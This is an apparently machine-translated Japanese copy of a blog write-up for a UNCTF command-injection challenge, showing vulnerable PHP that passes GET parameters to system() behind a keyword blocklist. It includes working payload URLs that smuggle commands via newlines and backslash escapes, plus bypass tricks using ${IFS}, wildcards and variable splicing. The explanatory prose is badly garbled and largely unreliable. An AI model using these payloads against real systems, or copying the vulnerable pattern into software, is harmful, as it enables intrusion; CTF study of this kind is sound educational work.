コマンドバイパスを覚えてunctf

0x01のコードを貼り付け

<?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];

 // try bypass it
    if (preg_match("/\'|\"|,|;|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";
        $a ='"' . $a . '"';
    if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
        $b = "";
        $b = '"' . $b . '"';
     $cmd = "file $a $b";
     str_replace(" ","","$cmd"); 
     system($cmd);
?>


0x02の分析

最初の猫を濾過して、より多くのフラグと換言すると、ここにあなたが使用できる\バイパスに、例えばc\at fla\g.php、(ここではその理由であってもよい\ので、タイトルpreg_matchにある\\無フィルタの等価の文言\)、そして私たちは知っているlinux、改行が可能コマンドの区切りとして。
通常の少しの脆弱性を、PHP、スロー2つのスラッシュphpだけのスラッシュは、その後、定期的に脱出するために、スラッシュに投げ込ま
この小さな欠陥に起因して、Aが濾過される|*代わりに*、Bを濾過し|\n、代わりに、フィルタリングされているの\n

ペイロード:結果(改行の真ん中)http://127.0.0.1/?a=\&b=%0Aca\t%20index.php%0A
$cmd var_dumpstring(27) "file "\" " ca\t index.php "" "



0x03の知識の概要

1、追加コマンド\キーワードフィルタをバイパスするため
、2はそのような環境変数の値をバイパスするためにも使用することができる${path:0:1}が、ここでフィルタ{}は、この方法は、使用できないenvコマンドは、全ての変数環境表示することができる
2つのコマンドのフィルタのため、3回避方法の種、Linuxでは、ワイルドカードである?ようなバイパス、var筆記v?r

expr${IFS}substr${IFS}“this is a test”${IFS}3${IFS}5

3、スプライシング方法バイパスするためにコマンドを使用することができるa=1;b=s;$a$bために、セミコロンを%0Aする改行http://127.0.0.1/?a=\&b=%0Ac=ca%0Ad=t%0A$c$d index.php%0A
4、異なるシステム異なる閉鎖

  • Unixシステムだけ各行の終わり "<ラップ>"、すなわち、 "\ n"(%の0A)で
  • システムで勝つ、各ラインの端部は、「<改行> <ENTER>」であり、すなわち、「\ R \ n」は
  • Macでは、各行の末尾には、 "\ R"、つまり、 "<Enter>を"(%0D)であります
公開された47元の記事 ウォンの賞賛2 ビュー3149

おすすめ

転載: blog.csdn.net/a3320315/article/details/102776426